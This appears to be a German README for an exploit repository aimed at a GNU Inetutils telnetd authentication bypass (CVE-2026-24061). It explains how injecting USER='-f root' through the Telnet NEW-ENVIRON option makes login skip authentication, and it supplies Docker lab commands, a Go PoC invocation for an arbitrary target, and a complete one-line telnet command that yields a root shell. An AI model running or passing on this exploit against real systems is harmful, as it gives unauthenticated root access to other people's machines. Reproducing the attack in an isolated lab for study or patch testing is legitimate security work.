
Proof-of-Concept-Exploit für die Authentifizierungsumgehung von GNU Inetutils telnetd (CVE-2026-24061) mit Docker-Laboreinrichtung und Go-PoC. Nutzt die NEW-ENVIRON-Option aus, um eine Root-Shell zu erlangen.
Im Ernst, Telnet im Jahr 2026? Kommt schon, Leute, es ist Zeit, weiterzuziehen. SSH gibt es seit 1995. 🤦
Eine kritische Schwachstelle zur Authentifizierungsumgehung in GNU Inetutils telnetd, die die Versionen 1.9.3 bis 2.7 betrifft.
Die Schwachstelle nutzt die Telnet-Option NEW-ENVIRON aus, um bösartige Argumente in login(1) einzuschleusen. Durch das Setzen von USER=-f root über das Telnet-Protokoll kann ein Angreifer die Authentifizierung umgehen und ohne Anmeldedaten eine Root-Shell erhalten.
Das Telnet-Protokoll unterstützt die Option NEW-ENVIRON (RFC 1572), die es dem Client ermöglicht, Umgebungsvariablen an den Server zu senden. Der telnetd-Daemon übergibt die Variable USER als Argument an login(1).
Durch das Senden von USER=-f root wird der Wert wie folgt interpretiert:
-f-Flag: Authentifizierung überspringen (vertrauenswürdiger Host)root: ZielbenutzerDadurch wird login -f root ausgeführt, was sofortigen Root-Zugriff gewährt.
Der PoC erkennt eine erfolgreiche Ausnutzung, indem er nach IAC WILL ECHO (0xff 0xfb 0x01) sucht – das Protokollsignal, das der Server sendet, wenn Shell-Zugriff gewährt wird.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go – Go-Exploit mit interaktiver ShellDockerfile – Container mit verwundbarem telnetddocker-compose.yml – Lab-Orchestrierung